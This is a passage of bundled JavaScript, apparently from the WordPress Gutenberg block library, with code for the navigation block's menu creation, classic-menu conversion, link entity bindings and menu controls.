        {
          isResponsive,
          overlayMenuPreview,
          setOverlayMenuPreview,
          hasIcon,
          icon: icon4,
          setAttributes,
          overlayMenuPreviewClasses,
          overlayMenuPreviewId
        }
      ),
      overlayMenu !== &quot;never&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(
        OverlayTemplatePartSelector,
        {
          overlay,
          overlayMenu,
          setAttributes,
          onNavigateToEntityRecord,
          isCreatingOverlay,
          setIsCreatingOverlay
        }
      ),
      overlayMenu !== &quot;never&quot; &amp;&amp; overlay &amp;&amp; hasOverlays &amp;&amp; !isCreatingOverlay &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(
        OverlayPreview,
        {
          overlay,
          currentTheme
        }
      )
    ] }) });
  }

  // packages/block-library/build-module/navigation/edit/use-convert-classic-menu-to-block-menu.mjs
  var import_data71 = __toESM(require_data(), 1);
  var import_core_data38 = __toESM(require_core_data(), 1);
  var import_element71 = __toESM(require_element(), 1);
  var import_i18n127 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/navigation/menu-items-to-blocks.mjs
  var import_blocks59 = __toESM(require_blocks(), 1);
  var import_hooks40 = __toESM(require_hooks(), 1);

  // packages/block-library/build-module/navigation-link/shared/use-entity-binding.mjs
  var import_element70 = __toESM(require_element(), 1);
  var import_block_editor144 = __toESM(require_block_editor(), 1);
  var import_data70 = __toESM(require_data(), 1);
  var import_core_data37 = __toESM(require_core_data(), 1);
  function buildNavigationLinkEntityBinding(kind) {
    if (kind === void 0) {
      throw new Error(
        &#039;buildNavigationLinkEntityBinding requires a kind parameter. Only &quot;post-type&quot; and &quot;taxonomy&quot; are supported.&#039;
      );
    }
    if (kind !== &quot;post-type&quot; &amp;&amp; kind !== &quot;taxonomy&quot;) {
      throw new Error(
        `Invalid kind &quot;${kind}&quot; provided to buildNavigationLinkEntityBinding. Only &#039;post-type&#039; and &#039;taxonomy&#039; are supported.`
      );
    }
    const source = kind === &quot;taxonomy&quot; ? &quot;core/term-data&quot; : &quot;core/post-data&quot;;
    return {
      url: {
        source,
        args: {
          field: &quot;link&quot;
        }
      }
    };
  }
  function useEntityBinding({ clientId, attributes: attributes2 }) {
    const { updateBlockBindings } = (0, import_block_editor144.useBlockBindingsUtils)(clientId);
    const { metadata, id, kind, type } = attributes2;
    const blockEditingMode = (0, import_block_editor144.useBlockEditingMode)();
    const hasUrlBinding = !!metadata?.bindings?.url &amp;&amp; !!id;
    const expectedSource = kind === &quot;post-type&quot; ? &quot;core/post-data&quot; : &quot;core/term-data&quot;;
    const hasCorrectBinding = hasUrlBinding &amp;&amp; metadata?.bindings?.url?.source === expectedSource;
    const { isBoundEntityAvailable, entityRecord } = (0, import_data70.useSelect)(
      (select9) =&gt; {
        if (!hasCorrectBinding || !id) {
          return { isBoundEntityAvailable: false, entityRecord: null };
        }
        const isPostType = kind === &quot;post-type&quot;;
        const isTaxonomy = kind === &quot;taxonomy&quot;;
        if (!isPostType &amp;&amp; !isTaxonomy) {
          return { isBoundEntityAvailable: false, entityRecord: null };
        }
        if (blockEditingMode === &quot;disabled&quot;) {
          return { isBoundEntityAvailable: true, entityRecord: null };
        }
        const { getEntityRecord, hasFinishedResolution } = select9(import_core_data37.store);
        const entityType = isTaxonomy ? &quot;taxonomy&quot; : &quot;postType&quot;;
        const typeForAPI = type === &quot;tag&quot; ? &quot;post_tag&quot; : type;
        const record = getEntityRecord(entityType, typeForAPI, id);
        const hasResolved = hasFinishedResolution(&quot;getEntityRecord&quot;, [
          entityType,
          typeForAPI,
          id
        ]);
        const isAvailable = hasResolved ? record !== void 0 : true;
        return {
          isBoundEntityAvailable: isAvailable,
          entityRecord: record || null
        };
      },
      [kind, type, id, hasCorrectBinding, blockEditingMode]
    );
    const clearBinding = (0, import_element70.useCallback)(() =&gt; {
      if (hasUrlBinding) {
        updateBlockBindings({ url: void 0 });
      }
    }, [updateBlockBindings, hasUrlBinding]);
    const createBinding = (0, import_element70.useCallback)(
      (updatedAttributes) =&gt; {
        const kindToUse = updatedAttributes?.kind ?? kind;
        if (!kindToUse) {
          return;
        }
        try {
          const binding = buildNavigationLinkEntityBinding(kindToUse);
          updateBlockBindings(binding);
        } catch (error) {
          console.warn(
            &quot;Failed to create entity binding:&quot;,
            error.message
          );
        }
      },
      [updateBlockBindings, kind]
    );
    return {
      hasUrlBinding: hasCorrectBinding,
      isBoundEntityAvailable,
      entityRecord,
      clearBinding,
      createBinding
    };
  }

  // packages/block-library/build-module/navigation/menu-items-to-blocks.mjs
  function menuItemsToBlocks(menuItems) {
    if (!menuItems) {
      return null;
    }
    const menuTree = createDataTree(menuItems);
    const blocks = mapMenuItemsToBlocks(menuTree);
    return (0, import_hooks40.applyFilters)(
      &quot;blocks.navigation.__unstableMenuItemsToBlocks&quot;,
      blocks,
      menuItems
    );
  }
  function mapMenuItemsToBlocks(menuItems, level = 0) {
    let mapping = {};
    const sortedItems = [...menuItems].sort(
      (a2, b2) =&gt; a2.menu_order - b2.menu_order
    );
    const innerBlocks = sortedItems.map((menuItem) =&gt; {
      if (menuItem.type === &quot;block&quot;) {
        const [block2] = (0, import_blocks59.parse)(menuItem.content.raw);
        if (!block2) {
          return (0, import_blocks59.createBlock)(&quot;core/freeform&quot;, {
            content: menuItem.content
          });
        }
        return block2;
      }
      const blockType = menuItem.children?.length ? &quot;core/navigation-submenu&quot; : &quot;core/navigation-link&quot;;
      const attributes2 = menuItemToBlockAttributes(
        menuItem,
        blockType,
        level
      );
      const {
        innerBlocks: nestedBlocks = [],
        // alias to avoid shadowing
        mapping: nestedMapping = {}
        // alias to avoid shadowing
      } = menuItem.children?.length ? mapMenuItemsToBlocks(menuItem.children, level + 1) : {};
      mapping = {
        ...mapping,
        ...nestedMapping
      };
      const block = (0, import_blocks59.createBlock)(blockType, attributes2, nestedBlocks);
      mapping[menuItem.id] = block.clientId;
      return block;
    });
    return {
      innerBlocks,
      mapping
    };
  }
  function menuItemToBlockAttributes({
    title: menuItemTitleField,
    xfn,
    classes,
    // eslint-disable-next-line camelcase
    attr_title,
    object,
    // eslint-disable-next-line camelcase
    object_id,
    description,
    url,
    type: menuItemTypeField,
    target
  }, blockType, level) {
    if (object &amp;&amp; object === &quot;post_tag&quot;) {
      object = &quot;tag&quot;;
    }
    const inferredKind = menuItemTypeField?.replace(&quot;_&quot;, &quot;-&quot;) || &quot;custom&quot;;
    return {
      label: menuItemTitleField?.rendered || &quot;&quot;,
      ...object?.length &amp;&amp; {
        type: object
      },
      kind: inferredKind,
      url: url || &quot;&quot;,
      ...xfn?.length &amp;&amp; xfn.join(&quot; &quot;).trim() &amp;&amp; {
        rel: xfn.join(&quot; &quot;).trim()
      },
      ...classes?.length &amp;&amp; classes.join(&quot; &quot;).trim() &amp;&amp; {
        className: classes.join(&quot; &quot;).trim()
      },
      /* eslint-disable camelcase */
      ...attr_title?.length &amp;&amp; {
        title: attr_title
      },
      ...object_id &amp;&amp; (inferredKind === &quot;post-type&quot; || inferredKind === &quot;taxonomy&quot;) &amp;&amp; {
        id: object_id,
        metadata: {
          bindings: buildNavigationLinkEntityBinding(inferredKind)
        }
      },
      /* eslint-enable camelcase */
      ...description?.length &amp;&amp; {
        description
      },
      ...target === &quot;_blank&quot; &amp;&amp; {
        opensInNewTab: true
      },
      ...blockType === &quot;core/navigation-submenu&quot; &amp;&amp; {
        isTopLevelItem: level === 0
      },
      ...blockType === &quot;core/navigation-link&quot; &amp;&amp; {
        isTopLevelLink: level === 0
      }
    };
  }
  function createDataTree(dataset, id = &quot;id&quot;, relation = &quot;parent&quot;) {
    const hashTable = /* @__PURE__ */ Object.create(null);
    const dataTree = [];
    for (const data of dataset) {
      hashTable[data[id]] = {
        ...data,
        children: []
      };
      if (data[relation]) {
        hashTable[data[relation]] = hashTable[data[relation]] || {};
        hashTable[data[relation]].children = hashTable[data[relation]].children || [];
        hashTable[data[relation]].children.push(
          hashTable[data[id]]
        );
      } else {
        dataTree.push(hashTable[data[id]]);
      }
    }
    return dataTree;
  }

  // packages/block-library/build-module/navigation/edit/use-convert-classic-menu-to-block-menu.mjs
  var CLASSIC_MENU_CONVERSION_SUCCESS = &quot;success&quot;;
  var CLASSIC_MENU_CONVERSION_ERROR = &quot;error&quot;;
  var CLASSIC_MENU_CONVERSION_PENDING = &quot;pending&quot;;
  var CLASSIC_MENU_CONVERSION_IDLE = &quot;idle&quot;;
  var classicMenuBeingConvertedId = null;
  function useConvertClassicToBlockMenu(createNavigationMenu, { throwOnError = false } = {}) {
    const registry = (0, import_data71.useRegistry)();
    const { editEntityRecord } = (0, import_data71.useDispatch)(import_core_data38.store);
    const [status, setStatus] = (0, import_element71.useState)(CLASSIC_MENU_CONVERSION_IDLE);
    const [error, setError] = (0, import_element71.useState)(null);
    const convertClassicMenuToBlockMenu = (0, import_element71.useCallback)(
      async (menuId, menuName, postStatus = &quot;publish&quot;) =&gt; {
        let navigationMenu;
        let classicMenuItems;
        try {
          classicMenuItems = await registry.resolveSelect(import_core_data38.store).getMenuItems({
            menus: menuId,
            per_page: -1,
            context: &quot;view&quot;
          });
        } catch (err) {
          throw new Error(
            (0, import_i18n127.sprintf)(
              // translators: %s: The name of a menu (e.g. Header menu).
              (0, import_i18n127.__)(`Unable to fetch classic menu &quot;%s&quot; from API.`),
              menuName
            ),
            {
              cause: err
            }
          );
        }
        if (classicMenuItems === null) {
          throw new Error(
            (0, import_i18n127.sprintf)(
              // translators: %s: The name of a menu (e.g. Header menu).
              (0, import_i18n127.__)(`Unable to fetch classic menu &quot;%s&quot; from API.`),
              menuName
            )
          );
        }
        const { innerBlocks } = menuItemsToBlocks(classicMenuItems);
        try {
          navigationMenu = await createNavigationMenu(
            menuName,
            innerBlocks,
            postStatus
          );
          await editEntityRecord(
            &quot;postType&quot;,
            &quot;wp_navigation&quot;,
            navigationMenu.id,
            {
              status: &quot;publish&quot;
            },
            { throwOnError: true }
          );
        } catch (err) {
          throw new Error(
            (0, import_i18n127.sprintf)(
              // translators: %s: The name of a menu (e.g. Header menu).
              (0, import_i18n127.__)(`Unable to create Navigation Menu &quot;%s&quot;.`),
              menuName
            ),
            {
              cause: err
            }
          );
        }
        return navigationMenu;
      },
      [createNavigationMenu, editEntityRecord, registry]
    );
    const convert = (0, import_element71.useCallback)(
      async (menuId, menuName, postStatus) =&gt; {
        if (classicMenuBeingConvertedId === menuId) {
          return;
        }
        classicMenuBeingConvertedId = menuId;
        if (!menuId || !menuName) {
          setError(&quot;Unable to convert menu. Missing menu details.&quot;);
          setStatus(CLASSIC_MENU_CONVERSION_ERROR);
          return;
        }
        setStatus(CLASSIC_MENU_CONVERSION_PENDING);
        setError(null);
        return await convertClassicMenuToBlockMenu(
          menuId,
          menuName,
          postStatus
        ).then((navigationMenu) =&gt; {
          setStatus(CLASSIC_MENU_CONVERSION_SUCCESS);
          classicMenuBeingConvertedId = null;
          return navigationMenu;
        }).catch((err) =&gt; {
          setError(err?.message);
          setStatus(CLASSIC_MENU_CONVERSION_ERROR);
          classicMenuBeingConvertedId = null;
          if (throwOnError) {
            throw new Error(
              (0, import_i18n127.sprintf)(
                // translators: %s: The name of a menu (e.g. Header menu).
                (0, import_i18n127.__)(`Unable to create Navigation Menu &quot;%s&quot;.`),
                menuName
              ),
              {
                cause: err
              }
            );
          }
        });
      },
      [convertClassicMenuToBlockMenu, throwOnError]
    );
    return {
      convert,
      status,
      error
    };
  }
  var use_convert_classic_menu_to_block_menu_default = useConvertClassicToBlockMenu;

  // packages/block-library/build-module/navigation/edit/use-create-navigation-menu.mjs
  var import_blocks60 = __toESM(require_blocks(), 1);
  var import_core_data41 = __toESM(require_core_data(), 1);
  var import_data74 = __toESM(require_data(), 1);
  var import_element73 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation/edit/use-generate-default-navigation-title.mjs
  var import_components83 = __toESM(require_components(), 1);
  var import_core_data40 = __toESM(require_core_data(), 1);
  var import_data73 = __toESM(require_data(), 1);
  var import_element72 = __toESM(require_element(), 1);
  var import_i18n128 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/navigation/use-template-part-area-label.mjs
  var import_block_editor145 = __toESM(require_block_editor(), 1);
  var import_core_data39 = __toESM(require_core_data(), 1);
  var import_data72 = __toESM(require_data(), 1);

  // packages/block-library/build-module/template-part/edit/utils/get-template-part-icon.mjs
  var getTemplatePartIcon = (areaOrIconName) =&gt; {
    if (&quot;header&quot; === areaOrIconName) {
      return header_default;
    } else if (&quot;footer&quot; === areaOrIconName) {
      return footer_default;
    } else if (&quot;sidebar&quot; === areaOrIconName) {
      return sidebar_default;
    } else if (&quot;navigation-overlay&quot; === areaOrIconName) {
      return navigation_overlay_default;
    }
    return symbol_filled_default;
  };

  // packages/block-library/build-module/navigation/use-template-part-area-label.mjs
  function useTemplatePartAreaLabel(clientId) {
    return (0, import_data72.useSelect)(
      (select9) =&gt; {
        if (!clientId) {
          return;
        }
        const { getBlock, getBlockParentsByBlockName } = select9(import_block_editor145.store);
        const withAscendingResults = true;
        const parentTemplatePartClientIds = getBlockParentsByBlockName(
          clientId,
          &quot;core/template-part&quot;,
          withAscendingResults
        );
        if (!parentTemplatePartClientIds?.length) {
          return;
        }
        const { getCurrentTheme, getEditedEntityRecord } = select9(import_core_data39.store);
        const currentTheme = getCurrentTheme();
        const defaultTemplatePartAreas = currentTheme?.default_template_part_areas || [];
        const definedAreas = defaultTemplatePartAreas.map((item) =&gt; ({
          ...item,
          icon: getTemplatePartIcon(item.icon)
        }));
        for (const templatePartClientId of parentTemplatePartClientIds) {
          const templatePartBlock = getBlock(templatePartClientId);
          const { theme = currentTheme?.stylesheet, slug } = templatePartBlock.attributes;
          const templatePartEntityId = createTemplatePartId(
            theme,
            slug
          );
          const templatePartEntity = getEditedEntityRecord(
            &quot;postType&quot;,
            &quot;wp_template_part&quot;,
            templatePartEntityId
          );
          if (templatePartEntity?.area) {
            return definedAreas.find(
              (definedArea) =&gt; definedArea.area !== &quot;uncategorized&quot; &amp;&amp; definedArea.area === templatePartEntity.area
            )?.label;
          }
        }
      },
      [clientId]
    );
  }

  // packages/block-library/build-module/navigation/edit/use-generate-default-navigation-title.mjs
  var DRAFT_MENU_PARAMS = [
    &quot;postType&quot;,
    &quot;wp_navigation&quot;,
    { status: &quot;draft&quot;, per_page: -1 }
  ];
  var PUBLISHED_MENU_PARAMS = [
    &quot;postType&quot;,
    &quot;wp_navigation&quot;,
    { per_page: -1, status: &quot;publish&quot; }
  ];
  function useGenerateDefaultNavigationTitle(clientId) {
    const isDisabled = (0, import_element72.useContext)(import_components83.Disabled.Context);
    const area = useTemplatePartAreaLabel(isDisabled ? void 0 : clientId);
    const registry = (0, import_data73.useRegistry)();
    return (0, import_element72.useCallback)(async () =&gt; {
      if (isDisabled) {
        return &quot;&quot;;
      }
      const { getEntityRecords } = registry.resolveSelect(import_core_data40.store);
      const [draftNavigationMenus, navigationMenus] = await Promise.all([
        getEntityRecords(...DRAFT_MENU_PARAMS),
        getEntityRecords(...PUBLISHED_MENU_PARAMS)
      ]);
      const title = area ? (0, import_i18n128.sprintf)(
        // translators: %s: the name of a menu (e.g. Header menu).
        (0, import_i18n128.__)(&quot;%s menu&quot;),
        area
      ) : (
        // translators: &#039;menu&#039; as in website navigation menu.
        (0, import_i18n128.__)(&quot;Menu&quot;)
      );
      const matchingMenuTitleCount = [
        ...draftNavigationMenus,
        ...navigationMenus
      ].reduce(
        (count, menu) =&gt; menu?.title?.raw?.startsWith(title) ? count + 1 : count,
        0
      );
      const titleWithCount = matchingMenuTitleCount &gt; 0 ? `${title} ${matchingMenuTitleCount + 1}` : title;
      return titleWithCount || &quot;&quot;;
    }, [isDisabled, area, registry]);
  }

  // packages/block-library/build-module/navigation/edit/use-create-navigation-menu.mjs
  var CREATE_NAVIGATION_MENU_SUCCESS = &quot;success&quot;;
  var CREATE_NAVIGATION_MENU_ERROR = &quot;error&quot;;
  var CREATE_NAVIGATION_MENU_PENDING = &quot;pending&quot;;
  var CREATE_NAVIGATION_MENU_IDLE = &quot;idle&quot;;
  function useCreateNavigationMenu(clientId) {
    const [status, setStatus] = (0, import_element73.useState)(CREATE_NAVIGATION_MENU_IDLE);
    const [value, setValue] = (0, import_element73.useState)(null);
    const [error, setError] = (0, import_element73.useState)(null);
    const { saveEntityRecord, editEntityRecord } = (0, import_data74.useDispatch)(import_core_data41.store);
    const generateDefaultTitle = useGenerateDefaultNavigationTitle(clientId);
    const create5 = (0, import_element73.useCallback)(
      async (title = null, blocks = [], postStatus) =&gt; {
        if (title &amp;&amp; typeof title !== &quot;string&quot;) {
          setError(
            &quot;Invalid title supplied when creating Navigation Menu.&quot;
          );
          setStatus(CREATE_NAVIGATION_MENU_ERROR);
          throw new Error(
            `Value of supplied title argument was not a string.`
          );
        }
        setStatus(CREATE_NAVIGATION_MENU_PENDING);
        setValue(null);
        setError(null);
        if (!title) {
          title = await generateDefaultTitle().catch((err) =&gt; {
            setError(err?.message);
            setStatus(CREATE_NAVIGATION_MENU_ERROR);
            throw new Error(
              &quot;Failed to create title when saving new Navigation Menu.&quot;,
              {
                cause: err
              }
            );
          });
        }
        const record = {
          title,
          content: (0, import_blocks60.serialize)(blocks),
          status: postStatus
        };
        return saveEntityRecord(&quot;postType&quot;, &quot;wp_navigation&quot;, record).then((response) =&gt; {
          setValue(response);
          setStatus(CREATE_NAVIGATION_MENU_SUCCESS);
          if (postStatus !== &quot;publish&quot;) {
            editEntityRecord(
              &quot;postType&quot;,
              &quot;wp_navigation&quot;,
              response.id,
              { status: &quot;publish&quot; }
            );
          }
          return response;
        }).catch((err) =&gt; {
          setError(err?.message);
          setStatus(CREATE_NAVIGATION_MENU_ERROR);
          throw new Error(&quot;Unable to save new Navigation Menu&quot;, {
            cause: err
          });
        });
      },
      [saveEntityRecord, editEntityRecord, generateDefaultTitle]
    );
    return {
      create: create5,
      status,
      value,
      error,
      isIdle: status === CREATE_NAVIGATION_MENU_IDLE,
      isPending: status === CREATE_NAVIGATION_MENU_PENDING,
      isSuccess: status === CREATE_NAVIGATION_MENU_SUCCESS,
      isError: status === CREATE_NAVIGATION_MENU_ERROR
    };
  }

  // packages/block-library/build-module/navigation/edit/use-inner-blocks.mjs
  var import_data75 = __toESM(require_data(), 1);
  var import_block_editor146 = __toESM(require_block_editor(), 1);
  var EMPTY_ARRAY2 = [];
  function useInnerBlocks(clientId) {
    return (0, import_data75.useSelect)(
      (select9) =&gt; {
        const { getBlock, getBlocks, hasSelectedInnerBlock } = select9(import_block_editor146.store);
        const _uncontrolledInnerBlocks = getBlock(clientId).innerBlocks;
        const _hasUncontrolledInnerBlocks = !!_uncontrolledInnerBlocks?.length;
        const _controlledInnerBlocks = _hasUncontrolledInnerBlocks ? EMPTY_ARRAY2 : getBlocks(clientId);
        return {
          innerBlocks: _hasUncontrolledInnerBlocks ? _uncontrolledInnerBlocks : _controlledInnerBlocks,
          hasUncontrolledInnerBlocks: _hasUncontrolledInnerBlocks,
          uncontrolledInnerBlocks: _uncontrolledInnerBlocks,
          controlledInnerBlocks: _controlledInnerBlocks,
          isInnerBlockSelected: hasSelectedInnerBlock(clientId, true)
        };
      },
      [clientId]
    );
  }

  // packages/block-library/build-module/navigation/edit/manage-menus-button.mjs
  var import_url11 = __toESM(require_url(), 1);
  var import_components84 = __toESM(require_components(), 1);
  var import_i18n129 = __toESM(require_i18n(), 1);
  var import_jsx_runtime320 = __toESM(require_jsx_runtime(), 1);
  var ManageMenusButton = ({
    className = &quot;&quot;,
    disabled,
    isMenuItem = false
  }) =&gt; {
    let ComponentName = import_components84.Button;
    if (isMenuItem) {
      ComponentName = import_components84.MenuItem;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime320.jsx)(
      ComponentName,
      {
        variant: &quot;link&quot;,
        disabled,
        className,
        href: (0, import_url11.addQueryArgs)(&quot;edit.php&quot;, {
          post_type: &quot;wp_navigation&quot;
        }),
        children: (0, import_i18n129.__)(&quot;Manage menus&quot;)
      }
    );
  };
  var manage_menus_button_default = ManageMenusButton;

  // packages/block-library/build-module/navigation/edit/menu-inspector-controls.mjs
  var import_block_editor156 = __toESM(require_block_editor(), 1);
  var import_components91 = __toESM(require_components(), 1);
  var import_data84 = __toESM(require_data(), 1);
  var import_i18n139 = __toESM(require_i18n(), 1);
  var import_element79 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation/edit/deleted-navigation-warning.mjs
  var import_block_editor147 = __toESM(require_block_editor(), 1);
  var import_components85 = __toESM(require_components(), 1);
  var import_i18n130 = __toESM(require_i18n(), 1);
  var import_element74 = __toESM(require_element(), 1);
  var import_jsx_runtime321 = __toESM(require_jsx_runtime(), 1);
  function DeletedNavigationWarning({ onCreateNew, isNotice = false }) {
    const [isButtonDisabled, setIsButtonDisabled] = (0, import_element74.useState)(false);
    const handleButtonClick = () =&gt; {
      setIsButtonDisabled(true);
      onCreateNew();
    };
    const message = (0, import_element74.createInterpolateElement)(
      (0, import_i18n130.__)(
        &quot;Navigation Menu has been deleted or is unavailable. &lt;button&gt;Create a new Menu?&lt;/button&gt;&quot;
      ),
      {
        button: /* @__PURE__ */ (0, import_jsx_runtime321.jsx)(
          import_components85.Button,
          {
            __next40pxDefaultSize: true,
            onClick: handleButtonClick,
            variant: &quot;link&quot;,
            disabled: isButtonDisabled,
            accessibleWhenDisabled: true
          }
        )
      }
    );
    return isNotice ? /* @__PURE__ */ (0, import_jsx_runtime321.jsx)(import_components85.Notice, { status: &quot;warning&quot;, isDismissible: false, children: message }) : /* @__PURE__ */ (0, import_jsx_runtime321.jsx)(import_block_editor147.Warning, { children: message });
  }
  var deleted_navigation_warning_default = DeletedNavigationWarning;

  // packages/block-library/build-module/navigation/edit/leaf-more-menu.mjs
  var import_blocks61 = __toESM(require_blocks(), 1);
  var import_components86 = __toESM(require_components(), 1);
  var import_data76 = __toESM(require_data(), 1);
  var import_i18n131 = __toESM(require_i18n(), 1);
  var import_block_editor148 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime322 = __toESM(require_jsx_runtime(), 1);
  var POPOVER_PROPS = {
    className: &quot;block-editor-block-settings-menu__popover&quot;,
    placement: &quot;bottom-start&quot;
  };
  var BLOCKS_THAT_CAN_BE_CONVERTED_TO_SUBMENU = [
    &quot;core/navigation-link&quot;,
    &quot;core/navigation-submenu&quot;
  ];
  function AddSubmenuItem({
    block,
    onClose,
    expandedState,
    expand,
    setInsertedBlock
  }) {
    const { insertBlock, replaceBlock, replaceInnerBlocks } = (0, import_data76.useDispatch)(import_block_editor148.store);
    const clientId = block.clientId;
    const isDisabled = !BLOCKS_THAT_CAN_BE_CONVERTED_TO_SUBMENU.includes(
      block.name
    );
    return /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
      import_components86.MenuItem,
      {
        icon: add_submenu_default,
        disabled: isDisabled,
        onClick: () =&gt; {
          const updateSelectionOnInsert = false;
          const newLink = (0, import_blocks61.createBlock)(
            DEFAULT_BLOCK5.name,
            DEFAULT_BLOCK5.attributes
          );
          if (block.name === &quot;core/navigation-submenu&quot;) {
            insertBlock(
              newLink,
              block.innerBlocks.length,
              clientId,
              updateSelectionOnInsert
            );
          } else {
            const newSubmenu = (0, import_blocks61.createBlock)(
              &quot;core/navigation-submenu&quot;,
              block.attributes,
              block.innerBlocks
            );
            replaceBlock(clientId, newSubmenu);
            replaceInnerBlocks(
              newSubmenu.clientId,
              [newLink],
              updateSelectionOnInsert
            );
          }
          setInsertedBlock(newLink);
          if (!expandedState[block.clientId]) {
            expand(block.clientId);
          }
          onClose();
        },
        children: (0, import_i18n131.__)(&quot;Add submenu link&quot;)
      }
    );
  }
  function LeafMoreMenu(props) {
    const { block } = props;
    const { clientId } = block;
    const { moveBlocksDown, moveBlocksUp, removeBlocks } = (0, import_data76.useDispatch)(import_block_editor148.store);
    const removeLabel = (0, import_i18n131.sprintf)(
      /* translators: %s: block name */
      (0, import_i18n131.__)(&quot;Remove %s&quot;),
      (0, import_block_editor148.BlockTitle)({ clientId, maximumLength: 25 })
    );
    const rootClientId = (0, import_data76.useSelect)(
      (select9) =&gt; {
        const { getBlockRootClientId } = select9(import_block_editor148.store);
        return getBlockRootClientId(clientId);
      },
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
      import_components86.DropdownMenu,
      {
        icon: more_vertical_default,
        label: (0, import_i18n131.__)(&quot;Options&quot;),
        className: &quot;block-editor-block-settings-menu&quot;,
        popoverProps: POPOVER_PROPS,
        noIcons: true,
        ...props,
        children: ({ onClose }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime322.jsxs)(import_jsx_runtime322.Fragment, { children: [
          /* @__PURE__ */ (0, import_jsx_runtime322.jsxs)(import_components86.MenuGroup, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
              import_components86.MenuItem,
              {
                icon: chevron_up_default,
                onClick: () =&gt; {
                  moveBlocksUp([clientId], rootClientId);
                  onClose();
                },
                children: (0, import_i18n131.__)(&quot;Move up&quot;)
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
              import_components86.MenuItem,
              {
                icon: chevron_down_default,
                onClick: () =&gt; {
                  moveBlocksDown([clientId], rootClientId);
                  onClose();
                },
                children: (0, import_i18n131.__)(&quot;Move down&quot;)
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
              AddSubmenuItem,
              {
                block,
                onClose,
                expandedState: props.expandedState,
                expand: props.expand,
                setInsertedBlock: props.setInsertedBlock
              }
            )
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(import_components86.MenuGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(
            import_components86.MenuItem,
            {
              onClick: () =&gt; {
                removeBlocks([clientId], false);
                onClose();
              },
              children: removeLabel
            }
          ) })
        ] })
      }
    );
  }

  // packages/block-library/build-module/navigation-link/shared/controls.mjs
  var import_components90 = __toESM(require_components(), 1);
  var import_i18n137 = __toESM(require_i18n(), 1);
  var import_dom7 = __toESM(require_dom(), 1);
  var import_block_editor154 = __toESM(require_block_editor(), 1);
  var import_data82 = __toESM(require_data(), 1);
  var import_core_data46 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/navigation-link/shared/use-handle-link-change.mjs
  var import_element75 = __toESM(require_element(), 1);
  var import_data77 = __toESM(require_data(), 1);
  var import_block_editor149 = __toESM(require_block_editor(), 1);
  var import_dom5 = __toESM(require_dom(), 1);
  var import_escape_html2 = __toESM(require_escape_html(), 1);

  // packages/block-library/build-module/navigation-link/shared/update-attributes.mjs
  var import_escape_html = __toESM(require_escape_html(), 1);
  var import_url12 = __toESM(require_url(), 1);
  var shouldSeverEntityLink = (originalUrl, newUrl) =&gt; {
    if (!originalUrl || !newUrl) {
      return false;
    }
    const normalizePath = (path) =&gt; {
      if (!path) {
        return &quot;&quot;;
      }
      return path.replace(/\/+$/, &quot;&quot;);
    };
    const createUrlObject = (url, baseUrl = null) =&gt; {
      try {
        const base = baseUrl || (typeof window !== &quot;undefined&quot; ? window.location.origin : &quot;https://wordpress.org&quot;);
        return new URL(url, base);
      } catch (error) {
        return null;
      }
    };
    const originalUrlObj = createUrlObject(originalUrl);
    if (!originalUrlObj) {
      return true;
    }
    const newUrlObj = createUrlObject(newUrl, originalUrl);
    if (!newUrlObj) {
      return true;
    }
    const originalHostname = originalUrlObj.hostname;
    const newHostname = newUrlObj.hostname;
    const originalPath = normalizePath((0, import_url12.getPath)(originalUrlObj.toString()));
    const newPath = normalizePath((0, import_url12.getPath)(newUrlObj.toString()));
    if (originalHostname !== newHostname || originalPath !== newPath) {
      return true;
    }
    const originalP = originalUrlObj.searchParams.get(&quot;p&quot;);
    const newP = newUrlObj.searchParams.get(&quot;p&quot;);
    if (originalP &amp;&amp; newP &amp;&amp; originalP !== newP) {
      return true;
    }
    const originalPageId = originalUrlObj.searchParams.get(&quot;page_id&quot;);
    const newPageId = newUrlObj.searchParams.get(&quot;page_id&quot;);
    if (originalPageId &amp;&amp; newPageId &amp;&amp; originalPageId !== newPageId) {
      return true;
    }
    if (originalP &amp;&amp; newPageId || originalPageId &amp;&amp; newP) {
      return true;
    }
    return false;
  };
  var updateAttributes = (updatedValue = {}, setAttributes, blockAttributes8 = {}) =&gt; {
    const {
      label: originalLabel = &quot;&quot;,
      kind: originalKind = &quot;&quot;,
      type: originalType = &quot;&quot;
    } = blockAttributes8;
    const {
      title: newLabel = &quot;&quot;,
      // the title of any provided Post.
      label: newLabelFromLabel = &quot;&quot;,
      // alternative to title
      url: newUrl,
      opensInNewTab,
      id: newID,
      kind: newKind = originalKind,
      type: newType = originalType
    } = updatedValue;
    const finalNewLabel = newLabel || newLabelFromLabel;
    const newLabelWithoutHttp = finalNewLabel.replace(/http(s?):\/\//gi, &quot;&quot;);
    const newUrlWithoutHttp = newUrl?.replace(/http(s?):\/\//gi, &quot;&quot;) ?? &quot;&quot;;
    const useNewLabel = finalNewLabel &amp;&amp; finalNewLabel !== originalLabel &amp;&amp; // LinkControl without the title field relies
    // on the check below. Specifically, it assumes that
    // the URL is the same as a title.
    // This logic a) looks suspicious and b) should really
    // live in the LinkControl and not here. It&#039;s a great
    // candidate for future refactoring.
    newLabelWithoutHttp !== newUrlWithoutHttp;
    const label = useNewLabel ? (0, import_escape_html.escapeHTML)(finalNewLabel) : originalLabel || (0, import_escape_html.escapeHTML)(newUrlWithoutHttp);
    const type = newType === &quot;post_tag&quot; ? &quot;tag&quot; : newType.replace(&quot;-&quot;, &quot;_&quot;);
    const isBuiltInType = [&quot;post&quot;, &quot;page&quot;, &quot;tag&quot;, &quot;category&quot;].indexOf(type) &gt; -1;
